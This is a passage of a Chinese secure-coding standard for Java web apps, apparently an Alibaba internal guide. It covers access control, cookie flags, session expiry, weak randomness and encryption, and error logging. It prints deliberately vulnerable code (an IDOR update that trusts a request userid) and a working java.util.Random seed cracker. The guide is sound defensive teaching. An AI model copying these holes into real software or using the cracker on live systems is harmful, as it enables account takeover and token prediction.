<tr><td><a href=”/user.jsp”>管理个人信息</a></td></tr> <% if (power. indexOf (“administrators”)>-1){%> <tr><td><a href=”/userlist.jsp”>管理所有用户</a></td></tr> <%} %>
恶意用户,可以直接猜测“管理所有用户”的页面,通过URL访问,看到管理员页面。
在打开管理页面URL时,首先判断当前用户是否拥有该页面的权限,如果没有权限,就判定为“权限提升”攻击,同时记录安全日志(日志内容请参考“Error Handing and Logging”章节)。
建议使用成熟的权限框架处理权限问题,比如spring security。
Horizontal Access Control,访问控制攻击,也就是水平权限安全攻击。
Web应用程序接收到用户请求,修改某条数据时,没有判断数据的所属人,或判断数据所属人时,从用户提交的request参数(用户可控数据)中,获取了数据所属人id,导致恶意攻击者可以通过变换数据ID,或变换所属人id,修改不属于自己的数据。
恶意用户可以删除或修改其他人数据。
访问数据层(dao),所有的更新语句操作,都可能产生这个漏洞。
以下代码存在这个漏洞,web应用在修改用户个人信息时,从从用户提交的request参数(用户可控数据)中,获取了userid,执行修改操作。
修改用户个人信息页面
<form action=”/struts1/edituser.htm” method=”post”> <input name=”userid” type=”hidden” value=”<%=userid%>”> <table border=”1″> <tr> <td>username:</td> <td><%=rs.getString(“name”)%></td> </tr> <tr> <td>passwd:</td> <td> <input name=”pass” value=”<%=rs.getString(“pass”)%>”></td> </tr> <tr> <td>type:</td> <td><%=rs.getString(“type”)%></td> </tr> <tr> <td>realname:</td> <td><input name=”realname” value=”<%=rs.getString(“realname”)%>”></td> </tr> <tr> <td>email:</td> <td> <input name=”email” value=”<%=rs.getString(“email”)%>”></td> </tr> <tr> <td>tel:</td> <td> <input name=”tel” value=”<%=rs.getString(“tel”)%>”></td> </tr> </table> <html:submit/> </form>
表单中,将用户的useird作为隐藏字段,提交给处理修改个人信息的应用。
下面代码是修改个人信息的应用
int userid= Integer.valueOf( request.getParameter(“userid”)); String email=request.getParameter(“email”); String tel=request.getParameter(“tel”); String realname=request.getParameter(“realname”); String pass=request.getParameter(“pass”); JdbcConnection conn = null; try { conn = new JdbcConnection(); Object[] params = new Object[5]; params[0] = email; params[1] = tel; params[2] = realname; params[3] = pass; params[4] = userid; final String sql = “update user set email=?,tel=?,realname=?,pass=? where userid=? “; conn.execUpdate(sql,params); conn.closeConn();
这段代码是从request的参数列表中,获取userid,也就是表单提交上来的userid,之后修改userid对应的用户数据。
而表单中的userid是可以让用户随意修改的。
攻击者通常在修改数据时,变化数据的id,如果存在这个漏洞,就可以修改成功。
如果“代码示例”中的代码,是alibaba.com下的一个web应用程序。
攻击者通过一个浏览器插件,拦截提交的数据,并修改了这个数据,如下图:
修改后,提交,即可修改userid所对应的其他用户的数据。
这个例子是判断了所属人,但是却从“用户可控数据”中,获取了所属人。还有一种形式是没有判断所属人,直接修改数据。
从用户的加密认证cookie中,获取当前用户的id,并且需要在执行的SQL语句中,加入当前用户id作为条件语句。由于是web应用控制的加密算法,所以恶意用户无法修改加密信息。
示例代码:
int userid=Integer.valueOf( GetUseridFromCookie ( request )); String email=request.getParameter(“email”); String tel=request.getParameter(“tel”); String realname=request.getParameter(“realname”); String pass=request.getParameter(“pass”); JdbcConnection conn = null; try { conn = new JdbcConnection(); Object[] params = new Object[5]; params[0] = email; params[1] = tel; params[2] = realname; params[3] = pass; params[4] = userid; final String sql = “update user set email=?,tel=?,realname=?,pass=? where userid=? “; conn.execUpdate(sql,params); conn.closeConn();
代码中通过GetUseridFromCookie,从加密的COOKIE中获取了当前用户的id,并加入到SQL语句中的WHERE条件中。
并不是所有的语句都有这个漏洞,有些是定时任务,或后台管理员执行的,这些必须和开发人员一一确认。
C ookie httponly flagCookie http only,是设置COOKIE时,可以设置的一个属性,如果COOKIE没有设置这个属性,该COOKIE值可以被页面脚本读取。
当攻击者发现一个XSS漏洞时,通常会写一段页面脚本,窃取用户的COOKIE,为了增加攻击者的门槛,防止出现因为XSS漏洞导致大面积用户COOKIE被盗,所以应该在设置认证COOKIE 时,增加这个属性。
设置cookie的代码
response.setHeader(“SET-COOKIE”, “user=” + request.getParameter(“cookie”) );
这段代码没有设置http only属性
见“Cross Site Script”章节。
设置cookie时,加入属性即可
response.setHeader(“SET-COOKIE”, “user=” + request.getParameter(“cookie”) + “; HttpOnly “);
下图可以看到cookie已经加入了httponly属性
在cookie类中没有找到设置httponly的方法? 目前的jdk版本只支持在setHeader时,设置httponly。
httponly已经可以防止用户cookie被窃取,还需要做XSS防御吗? 这个flag只能增加攻击者的难度,不能达到完全防御XSS攻击。
C ookie Secure flagCookie Secure,是设置COOKIE时,可以设置的一个属性,设置了这个属性后,只有在https访问时,浏览器才会发送该COOKIE。
浏览器默认只要使用http请求一个站点,就会发送明文cookie,如果网络中有监控,可能被截获。
如果web应用网站全站是https的,可以设置cookie加上Secure属性,这样浏览器就只会在https访问时,发送cookie。
攻击者即使窃听网络,也无法获取用户明文cookie。
设置cookie的代码
response.setHeader(“SET-COOKIE”, “user=” + request.getParameter(“cookie”) + “; HttpOnly”);
这段代码没有设置Secure属性
进行网络监听,可以看到下图是没有设置Secure属性的COOKIE发送的数据包。
在设置认证COOKIE 时,加入Secure。
代码:
response.setHeader(“SET-COOKIE”, “user=” + request.getParameter(“cookie”) + “; HttpOnly ; Secure “);
再次访问http网站,抓数据包可以看到,已经不再发送这个COOKIE了。
S ession ExpiresSession Expires,Session有效期安全攻击。
由于Session没有在web应用中设置强制超时时间,攻击者一旦曾经获取过用户的Session,就可以一直使用。
设置cookie的代码
response.setHeader(“SET-COOKIE”, “user=” + request.getParameter(“cookie”) + “; HttpOnly ; Secure “);
这段代码没有在服务器中设置强制超时时间。
利用网络监听,xss等一些手段获取用户的cookie,之后就可以一直使用用户身份登录。
具体见“Cross Site Script”章节或“Cookie Secure”章节的示例。
在设置认证cookie 中,加入两个时间,一个是“即使一直在活动,也要失效”的时间,一个是“长时间不活动的失效时间”。并在web应用中,首先判断两个时间是否已超时,再执行其他操作。
示例:
// 判断会员的cookie是否过期 if (isLogin) { String timeStampStr = (String) map.get(UserAuthenticationContext.TIMESTAMP); long loginTime = 0; try { loginTime = Long.parseLong(timeStampStr); } catch (NumberFormatException e) { if (logger.isInfoEnabled()) { logger.info(” loginId: ” + usr.getLoginId() + ” timestamp has exception ” + timeStampStr); } } long now = System.currentTimeMillis() / 1000; if (now – loginTime > UserAuthenticationContext.COOKIE_VALIDITY) { usr.setAuthenticated(false, true); if (logger.isInfoEnabled()) { logger.info(“loginId: ” + usr.getLoginId() + ” loginTime: ” + loginTime + ” nowTime: ” + now); } } }
Insecure Pseudo randomness Insecure Pseudo randomness,伪随机性。
由于计算机的本质是“存储运算控制”,因此它所采用的随机数算法实际上是“伪随机”的。为了编写代码来实现类似随机的算法,常见情况下,伪随机数生成器生成 0 到 N 之间的一个整数,返回的整数再除以 N。得出的数字总是处于 0 和 1 之间。对生成器随后的调用采用第一次运行产生的整数,并将它传给一个函数,以生成 0 到 N 之间的一个新整数,然后再将新整数除以 N 返回。这意味着,由任何伪随机数生成器返回的数目会受到 0 到 N 之间整数数目的限制。
伪随机数生成器将作为“种子”的数当作初始整数传给函数。这粒种子会使这个球(生成伪随机数)一直滚下去。伪随机数生成器的结果仅仅是不可预测。由伪随机数生成器返回的每一个值完全由它返回的前一个值所决定(最终,该种子决定了一切)。如果知道用于计算任何一个值的那个整数,那么就可以算出从这个生成器返回的下一个值。
这也就是伪随机数攻击的本质,即穷举“随机种子”(PRNG)
该漏洞可能导致依赖随机数的应用(例如依靠随机数生成的图法签名)可能会被人破解。
1、下面是Radom()函数的Java实现:
public Random(long seed) { this .seed = new AtomicLong(0L); setSeed(seed);} public int nextInt() { return next(32); } protected int next(int bits) { long oldseed, nextseed; AtomicLong seed = this .seed; do { oldseed = seed.get(); nextseed = (oldseed * multiplier + addend) & mask; } while (!seed.compareAndSet(oldseed, nextseed)); return ( int )(nextseed >>> (48 – bits)); }
这段代码依靠确定的seed种子来运算出nextseed的值,尽管使用了各种运算 但结果仍然是线性可预测的
参考1996年Netscape1.1.40的SSL加密种子被攻破的实例: http://www.cs.berkeley.edu/~daw/papers/ddj-netscape.html
由于Java 下Random种子的伪随机特点,因此可以通过前两次的Random.nextInt()结果来猜测下一个随机数
public class RandomCracker {protected static final long a =0x5deece66dL;protected static final long b =0xbL;protected static final long m =(1L<<48)-1;/** * * @param xint0 第一次调用nextInt()获取的随机整数 * @param xint1 第二次调用nextInt()获取的随机整数 * @output 下一次的随机数值 */public static void crack(int xint0,int xint1) {long i;long seed=-1L;long x0=(xint0&0xFFFFFFFFL)<<16;long x1=(xint1&0xFFFFFFFFL);for (i=0;i<0xFFFFL;i++){ seed=(((x0+i)* a )+ b )& m ; if ((seed>>>16)==x1){ break ; } seed=-1L;}if (seed==-1L) { throw new RuntimeException(“Input Error!”);}else { System.out .println(“The Cracked x2=”+(int )(((seed*a )+b &m )>>>16));}}}
1、在java中,推荐采用secureRandom()函数代替伪随机的Random()函数。该算法提供了强随机的种子算法(SHA1PRNG)
2、使用随机算法时,尽量将随机数种子复杂化,例如在以ServerTime作为随机种子时,在其后面加一个固定的“offside”整数值,这样可以有效避免被猜到随机种子的来源。
I nsufficient Encryption StrengthInsufficient Encryption Strength,弱加密强度。
项目中设计到敏感信息的数据采用程序员自己编写的“简单算法”加密,一旦被人获取足够的“样本”,将有可能被反向推测出解密算法,从而泄露重要信息。
一些低强度的密码算法,如DES、RC2等已经可以很容易的在短时间内被人所破解,其它一些容易被误用的“密码算法”,如base64、escape、urlencode等,其实并不是密码算法,只是简单的编码而已,不能起到密码算法保护信息的作用。
1、线性加密算法,下面以“古典密码算法”为例:
·
public class Caesar { public static void encode(String PlainText, int Offset) { String CipherText = “”; for (int i = 0; i < PlainText.length(); i++) { if (PlainText.charAt(i) == 32) CipherText += (char)(32); else if (PlainText.charAt(i) >= ‘a’ && PlainText.charAt(i) <= ‘z’) CipherText += (char)(‘a’ + ((PlainText.charAt(i) – ‘a’ + Offset) % 26)); else if (PlainText.charAt(i) >= ‘A’ && PlainText.charAt(i) <= ‘Z’) CipherText += (char)(‘A’ + ((PlainText.charAt(i) – ‘A’ + Offset) % 26)); else if (PlainText.charAt(i) >= ‘0’ && PlainText.charAt(i) <= ‘9’) CipherText += (char)(‘0’ + ((PlainText.charAt(i) – ‘0’ + Offset) % 10)); } System.out.println(“Ciphertext: ” + CipherText); }
2、FoxMail企业地址簿口令使用弱加密算法等漏洞
破解方法:
1、第一种是“基于明文密文对”的破解,由于在“古典加密算法”中同一字符每次都是映射到另一字符,因此,只要获取到一定数量的明文和加密后的密文,就可以清楚的还原出每个字符的映射关系。并且可以通过映射关系,可以写出解密程序,如下所示。
2、第二种是“只基于密文”的破解,在一定量的日常报文中,每个字母出现的频率是基本一致的,并且在“古典加密算法”中同一字符每次都是映射到另一字符,因此可以根据密文中每个字母出现的频率猜测出映射关系。并且可以通过映射关系,可以写出解密程序,如下所示。
public static void decode(String CipherText, int Offset) { String PlainText = “”; for (int i = 0; i < CipherText.length(); i++) { if (CipherText.charAt(i) == 32) PlainText += (char)(32); else if (CipherText.charAt(i) >= ‘a’ && CipherText.charAt(i) <= ‘z’) if((CipherText.charAt(i) – Offset) < ‘a’){ PlainText += (char)(‘z’ – (‘a’ – (CipherText.charAt(i) – Offset)) + 1); }else{ PlainText += (char)(‘a’ + ((CipherText.charAt(i) – ‘a’ – Offset) % 26)); } else if (CipherText.charAt(i) >= ‘A’ && CipherText.charAt(i) <= ‘Z’) if((CipherText.charAt(i) – Offset) < ‘A’){ PlainText += (char)(‘Z’ – (‘A’ – (CipherText.charAt(i) – Offset)) + 1); }else{ PlainText += (char)(‘A’ + ((CipherText.charAt(i) – ‘A’ – Offset) % 26)); } else if (CipherText.charAt(i) >= ‘0’ && CipherText.charAt(i) <= ‘9’) if((CipherText.charAt(i) – Offset) < ‘0’){ PlainText += (char)(‘9’ – (‘0’ – (CipherText.charAt(i) – Offset)) + 1); }else{ PlainText += (char)(‘0’ + ((CipherText.charAt(i) – ‘0’ – Offset) % 10)); } } System.out.println(“PlainText: ” + PlainText); }
禁止使用自己编写的密码算法。 不要将编码(如Base64)和密码算法混为一谈,前者不是密码算法。 不要使用低强度的密码算法,如DES、RC2等,必须采用符合业内安全强度标准的密码算法,见下表: 安全目的 保密性 认证 不可抵赖性 保密性 认证 不可抵赖性 保密性 认证 不可抵赖性 完整性 完整性 来源认证 算法强度(按对称密钥长度和算法安全期限) 对称算法 DSA电子签名算法 RSA算法 ECC算法 摘要算法 HMAC信息验证码 安全强度为 80位;安全时间到2010年 2TDES3TDESAES-128AES-192AES-256 最小长度:公钥 = 1024;私钥 =160 最小长度:密钥对=1024 最小长度:密钥对=160 SHA-1,SHA-224,SHA-256,SHA-384,SHA-512 SHA-1,SHA-224,SHA-256,SHA-384,SHA-512 安全强度为112位;安全时间到2030年 3TDESAES-128AES-192AES-256 最小长度:公钥 = 2048私钥 = 224 最小长度:密钥对=2048 最小长度:密钥对=224 SHA-224,SHA-256,SHA-384,SHA-512 SHA-1,SHA-224,SHA-256,SHA-384,SHA-512
注:参考文档:《证书及密钥安全标准v6DC-0216》,刘坤,阿里云-集团信息安全中心
安全威胁 Error Handling错误处理。
在web应用程序出错时,会返回一些程序异常信息,从而暴露很多对攻击者有用的信息,攻击者可以利用这些错误信息,制定下一步攻击方案。
代码示例 如下代码是做数据库查询的:
try { PreparedStatement pst = conn.prepareStatement(sql); ResultSet rs = pst.executeQuery(); while(rs.next()){ User u = new User(); u.setId(rs.getLong(“id”)); u.setName(rs.getString(“name”)); u.setPass(rs.getString(“pass”)); u.setType(rs.getInt(“type”)); userlist.add(u); } System.out.println(); if(rs != null) rs.close(); if(pst != null) pst.close(); if(conn != null) conn.close(); } catch (SQLException e) { // TODO Auto-generated catch block e.printStackTrace(); }
直接抛出了错误异常,没有经过任何处理。
攻击实例 在进行SQL注入攻击时,攻击者提交可以让程序出错的get请求,导致web应用展现了错误页面:
看到这个信息,攻击者可以做以下判断:
数据库是oracle。 查询语句的列数不正确。 根据这个判断,攻击者调整get请求的内容,最终达到获取数据库所有数据的目的。
解决方案 配置错误页面,让所有的错误都只显示友好信息,不显示任何与实际错误相关的信息。例如以下页面:
Logging 记录日志 在web应用运行的过程中,必须开启安全日志。当疑似攻击发生时,对用户的当前请求,记录日志。在所有安全方案中需要记录日志的地方,都应该按照本章节的要求记录日志,以便回溯攻击场景。
日志文件要单独放在服务器上,不能和web容器的log放在同一个文件中,并且是http无法直接访问到的地方,例如
/home/admin/tomcat/logs/security(date).log
日志存储要预留http接口,以便需要时将日志通过http,发送到统一的服务器上。
字段按照以下要求记录,http request包可配置,平时可以不打开,当受到攻击频繁时,临时开启。
字段 说明
IP 访问者IP地址
用户id 如果用户已登录,可以记录
用户名 如果用户已登录,可以记录
cookie 当前http request中的cookie
method POST/GET
http request数据包内容 可配置
动作描述 可能发生的攻击
分类 可能发生的攻击类型
威胁级别 根据漏洞类型定义
攻击者/受攻击者 本次事件是攻击者的请求,还是被攻击者的请求
时间 攻击发生的时间,要以服务器时间为准
添加密码安全章节,添加error handing章节,添加flash章节 — 2010-7-7
周拓修正Cross Site Script章节错误,李昊、刘坤校对 — 2010-8-20
中文站CSRF方案:
http://security.alibaba-inc.com/twiki/bin/view/Security/SecuritySolution/%E4%B8%AD%E6%96%87%E7%AB%99CSRF%E6%96%B9%E6%A1%88
Ibatis防SQL注射方案:
http://security.alibaba-inc.com/twiki/bin/view/Security/SecuritySolution/Ibatis%E9%98%B2SQL%E6%B3%A8%E5%B0%84%E6%96%B9%E6%A1%88
JavaScript编码安全规范:
http://security.alibaba-inc.com/twiki/bin/view/Security/SecuritySolution/JavaScript%e7%bc%96%e7%a0%81%e5%ae%89%e5%85%a8%e8%a7%84%e8%8c%83
Velocity跨站修补方案:
http://security.alibaba-inc.com/twiki/bin/view/Security/SecuritySolution/Velocity%E8%B7%A8%E7%AB%99%E4%BF%AE%E8%A1%A5%E6%96%B9%E6%A1%88
via:http://www.srxh1314.com/%e3%80%90%e4%bb%a3%e7%a0%81%e5%ae%a1%e8%ae%a1%e3%80%91%e4%bb%a3%e7%a0%81%e5%ae%a1%e8%ae%a1%e6%a0%87%e5%87%86.html